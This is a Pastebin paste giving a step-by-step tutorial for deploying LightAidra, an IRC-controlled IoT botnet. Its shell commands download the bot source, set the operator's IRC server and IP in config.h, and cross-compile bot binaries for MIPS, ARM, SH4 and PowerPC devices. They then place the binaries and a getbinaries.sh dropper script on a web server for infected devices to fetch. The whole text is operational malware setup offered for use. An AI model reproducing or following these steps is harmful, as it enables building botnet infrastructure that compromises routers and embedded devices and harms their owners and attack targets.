Horizontal

LIght Adria Bot Tutorial

Nov 15th, 2015
79,562
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.43 KB | None | 0 0
  1. yum update -y
  2.  
  3. yum install gcc nano make wget unzip -y
  4.  
  5. wget https://github.com/eurialo/lightaidra/ar...master.zip
  6.  
  7. unzip master.zip
  8.  
  9. cd lightaidra-master
  10.  
  11. cd include
  12.  
  13. nano config.h (now that you are editing config.h you want to look for line 11 and edit it to your IRC info, after that look for line 34 and chage the referance http to your servers IP) After that save the file and go back to /root/lightaidra-master
  14.  
  15. mkdir bin
  16.  
  17. cd bin
  18.  
  19. wget (http)://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2
  20. wget (http)://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
  21. wget (http)://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
  22. wget (http)://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
  23. wget (http)://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
  24.  
  25. tar -xvf cross-compiler-armv5l.tar.bz2
  26. tar -xvf cross-compiler-mips.tar.bz2
  27. tar -xvf cross-compiler-mipsel.tar.bz2
  28. tar -xvf cross-compiler-sh4.tar.bz2
  29. tar -xvf cross-compiler-powerpc.bz2
  30.  
  31. cd ..
  32.  
  33. make mips mipsel arm sh4 ppc
  34.  
  35. yum install httpd -y
  36.  
  37. nano getbinaries.sh (edit the IP address at the top to your servers IP once again)
  38.  
  39. cd bin (and you should see all your compiled files)
  40.  
  41. mv mips mipsel arm sh4 ppc /var/www/html
  42.  
  43. cd ..
  44.  
  45. mv getbinaries.sh /var/www/html
  46.  
  47. Now we need to run 'restorecon -r /var/www/html'
  48.  
  49. And you have successfully setup LightAidra.
Advertisement
Add Comment
Please, Sign In to add comment